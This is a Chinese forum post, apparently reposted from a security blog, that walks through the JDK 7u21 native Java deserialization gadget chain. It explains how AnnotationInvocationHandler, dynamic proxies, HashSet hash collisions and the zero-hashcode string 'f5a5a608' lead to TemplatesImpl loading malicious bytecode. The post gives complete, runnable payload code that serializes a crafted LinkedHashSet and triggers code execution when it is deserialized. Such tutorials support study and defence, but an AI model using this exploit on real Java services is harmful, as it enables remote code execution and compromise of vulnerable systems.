钿稳铆 发表于 昨天 21:05

java原生链利用

java原生链利用
在上一个文章中我们利用Java原生链进行shiro的无依赖利用;
针对在没有第三方库的时候,我们该如何进行java反序列化;
确实存在一条不依赖第三方库的java反序列化利用链;但它适用于jdk7u21;
原理:
我们都知道在java反序列化中最核心的地方在于最后可以触发动态命令执行的地方;
比如cc链中的transform链和是TemplatesImp的动态加载字节码;
其实从广义上来说反序列化最终目的是为了触发 "我们可以进行的一些"操作";
命令执行是一种目的 urldns链也是一种目的,最终都是通过反序列化的一系列触发来达到我们要实现的目的;也就是漏洞利用的目的;
简单来说,如果最终目的是进行文件读取,就找到可以文件读取的地方;通过路径回溯,拼接然后通过java反序列串联这个路径最终达到文件读取的目的
但大多数java反序列化和命令执行是绕不开的,正因为它足够自由,在一定的限度下允许我们最大限度的拼接;最后达到命令执行的目的;
在jdk7u21这条链中的最终目的也是命令执行;
那么该怎么达到这个目的呢?
既然是原生链;我们会找一些原生类中的触发命令执行的地方
这个路径依赖于到AnnotationInvocationHandler类的equalsImpl方法;
源码如下

private Boolean equalsImpl(Object var1) {
      if (var1 == this) {
            return true;
      } else if (!this.type.isInstance(var1)) {
            return false;
      } else {
            for(Method var5 : this.getMemberMethods()) {
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                  var8 = var9.memberValues.get(var6);
                } else {
                  try {
                        var8 = var5.invoke(var1);
                  } catch (InvocationTargetException var11) {
                        return false;
                  } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                  }
                }

                if (!memberValueEquals(var7, var8)) {
                  return false;
                }
            }

            return true;
      }
    }从代码中!this.type.isInstance(var1)可以知道当type是接口时,会进入else;会通过type.getDeclaredMethods() 遍历type接口的所有方法;
代码中 AnnotationInvocationHandler var9 = this.asOneOfUs(var1);是判断是否是实现了AnnotationInvocationHandler接口的 注解类,是就进行强制转换不是就返回null

当type不是实现了AnnotationInvocationHandler接口的注解类时返回null,调用 var5.invoke(var1);
所以当type = Templates.class(非实现了AnnotationInvocationHandler接口的非注解接口)时:
遍历返回的就是接口中声明的两个方法:

[*]newTransformer()
[*]getOutputProperties()
也就是说,当 var1 是恶意构造的 TemplatesImpl 对象时,反射调用其 newTransformer() 或 getOutputProperties() 会触发字节码加载。
我们知道在 type是作为 注解类参数存在的,因此要想触发equalsImpl 方法中的遍历必须让注解类参数为Templates.class

也就是
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);那么如何调用equalsImpl方法并自动触发呢?
我们在AnnotationInvocationHandler的invoke方法发现调用了equalsImpl方法

invoke方法我们知道在在cc1链的lazymap版本中是关键一环;
回顾之前的内容
AnnotationInvocationHandler是一个InvocationHandler的实现类;
可以作为动态代理的"处理器"
而我们都知道InvocationHandler是一个接口,他只有一个方法就是invoke:
public interface InvocationHandler {
   public Object invoke(Object proxy, Method method, Object[] args)
   throws Throwable;
}当 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到这个InvocationHandler的invoke方法
而AnnotationInvocationHandler是它的实现类,当使用AnnotationInvocationHandler作为处理器时;就会执行到AnnotationInvocationHandler的invoke方法;
这就是代理转发;简单来说就是使用InvocationHandler处理器处理被代理类的方法;
事实上这里代理类型和实现的接口并不重要;关键是转发;因为equal是Object中的方法,所有的类都继承这个方法;只需要proxy是一个接口类型即可
也就是说:动态代理对象的 equals() 方法被调用时,会路由到 AnnotationInvocationHandler.invoke → equalsImpl
package org.com.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
    public static void main(String[] args) throws Exception {

      //动态字节码部分
      byte[] code=Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_bytecodes",new byte[][]{code});
      setFieldValue(templates,"_name","Hello");
      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());



      String zeroHashCodeStr = "f5a5a608";

      // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
      HashMap map = new HashMap();
      map.put(zeroHashCodeStr, "foo");
      Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
      constructor.setAccessible(true);
      InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
      Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler);

      proxy.equals(templates);

    }
    private static void setFieldValue(Object obj, String fieldName, Object value)
            throws Exception {

      Class<?> clazz = obj.getClass();
      Field field = null;

      // 循环查找字段(包括父类)
      while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
      }

      if (field == null) {
            throw new NoSuchFieldException(fieldName);
      }

      field.setAccessible(true);
      field.set(obj, value);
    }
}
如何在反序列化中自动调用equals方法呢?
找到反序列化过程中自动调用了equals方法的类,可以查找这个方法的用例(是在太多了);
所以猜测equals函数的类常常会进行元素间的比较;目的用于去重或者排序;
而去重我们自然而然可以想到 集合数据结构(元素之间不允许有重复)set ->hashset,有关的还有hashtable,hashmap
它们的底层其实都是hashmap,为了避免hash冲突,hashmap的底层又被设计成数组+链表;
数组的每一个元素都是一个链表,当数组的key经过hashcode计算发生冲突时,会通过链表插入冲突的key 也就是key1,key2这样;
在其源码reobject方法中我们可看到它的源码中使用hashmap的 map.put对key进行去重操作

我们发现当实例化对象是LinkeHashset时,map的值为LinkeHashset否则为HashMap
我们跟进put方法(jdk7u21)
https://img2024.cnblogs.com/blog/3272838/202506/3272838-20250606213600763-1110569316.png
我们希望 key.equals值为 templates(上文中的字节码对象),我们可以看到k的值来源于e.key,当key==e.key时 ;e来源于数组中已经存在的键值;
table;而i=hash;也就是说 templates的值==e.key时触发;而e.key是有遍历table中得来;
因此触发条件是发生hash冲突也就是,处于数组的同一条链表上;
因此我们就需要构造与templates hash值相等的对象;
我们构造proxy对象和templates对象的hash相等
我们可以看到hash的值来源于hashcode,我们只需要让两者的hashcode相等

但TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的;所以想让proxy的 hashCode() 与之相等,只能寄希望于proxy.hashCode()
而在反序列化过程中,调用proxy.hashCode()会调用AnnotationInvocationHandler的invoke,从而调用 hashcodeImpl()

我们跟进hashcodeImpl源码

private int hashCodeImpl() {
      int var1 = 0;

      for(Map.Entry var3 : this.memberValues.entrySet()) {
            var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
      }

      return var1;
    }这段代码会遍历map数组所有的元素的keu和value;
但当只有一个key和value的时候就只计算一次
127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
但我们知道0异或任何数,是任何数,取key.hashcode=0时
var1就会只取value.hashcode的值;
当value.hashcode为TemplateImpl值时,proxy的hash=TemplateImpl的hash
因此我们构造一个key.hashcode=0的对象作为proxy.key(var3.getKey())的值,TemplateImpl对象作为proxy.value(var3.getValue())的值
二者hashcode就相等了
找一个hashCode是0的对象,我们可以写一个简单的爆破程序来实现:
public static void bruteHashCode()
{
   for (long i = 0; i < 9999999999L; i++) {
   if (Long.toHexString(i).hashCode() == 0) {
      System.out.println(Long.toHexString(i));
      }
   }
}最后得到字符串
f5a5a608
payload
package org.com.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
    public static void main(String[] args) throws Exception {

      //动态字节码部分
      byte[] code=Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_bytecodes",new byte[][]{code});
      setFieldValue(templates,"_name","Hello");
      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());



      String zeroHashCodeStr = "f5a5a608";

      // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
      HashMap map = new HashMap();
      map.put(zeroHashCodeStr, "123");
      Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
      constructor.setAccessible(true);
      InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
       Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler);

       // proxy.equals(templates);
       HashSet set = new LinkedHashSet();
      set.add(templates);
      set.add(proxy);

      // 将恶意templates设置到map中
      map.put(zeroHashCodeStr, templates);
      System.out.println(proxy.hashCode()==templates.hashCode());//此時二者相等
      System.out.println(map.hashCode()==proxy.hashCode());//此時二者相等
      System.out.println(templates.hashCode()==map.hashCode());//此時二者相等



      ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
      ObjectOutputStream oss = new ObjectOutputStream(outputStream);
      oss.writeObject(set);
      oss.close();

      //System.out.println(outputStream);

      ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
      Object object = objectInputStream.readObject();
    }
    private static void setFieldValue(Object obj, String fieldName, Object value)
            throws Exception {

      Class<?> clazz = obj.getClass();
      Field field = null;

      // 循环查找字段(包括父类)
      while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
      }

      if (field == null) {
            throw new NoSuchFieldException(fieldName);
      }

      field.setAccessible(true);
      field.set(obj, value);
    }
}
总结:这篇文章讲了java原生链的利用;
通过在AnnotationInvocationHandler中找到 equalsImpl方法发现 当type为非AnnotationInvocationHandler注解类接口时,会遍历传进来的非注解接口的方法;于是我们构造Templates类,发现在invoke中调用了这个方法,于是我们通过动态代理来代理让AnnotationInvocationHandler作为处理器,这样执行的方法就会转发给AnnotationInvocationHandler的invoke处理;我们发现当被代理类执行equals方法时就会执行invoke,但在无法显示执行时,我们在Hashset中发现进行了去重,在其map.put中调用了equals方法;且当两个对象的hashcode相等时触发equals方法;于是我们构造proxy的hashcode等于templates的hashcode也就是使用0异或任何数结果为0进行构造 得到f5a5a608的hashcode为0 ;调用map.put(zeroHashCodeStr, templates)使其相等;在反序列化进行去重计算的时候二者的hashcode相等;
流程梳理:
首先实例化一个templates类;
创建一个hashmap
使用AnnotationInvocationHandler进行包装 传入非AnnotationInvocationHandler注解类Template.class
使用动态代理,目的是触发AnnotationInvocationHandler->invoke->equalsImpl
新建 Hashset对象
添加两个对象templates ,proxy
map.put时会使两个对象的hashcode相等,原理是map是proxy的被代理对象,操作map相当于操作proxy,因此map.put(zeroHashCodeStr, templates);就返回templates.hashcode=proxy.hashcode了;在反序列化时会再计算一次,发现两者相等触发equals,再触发invoke,触发equalsImpl;再触发invoke加载恶意字节码;
------------------------备注----------------------
参考 :p牛->知识星球->代码审计->java系列文章

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: java原生链利用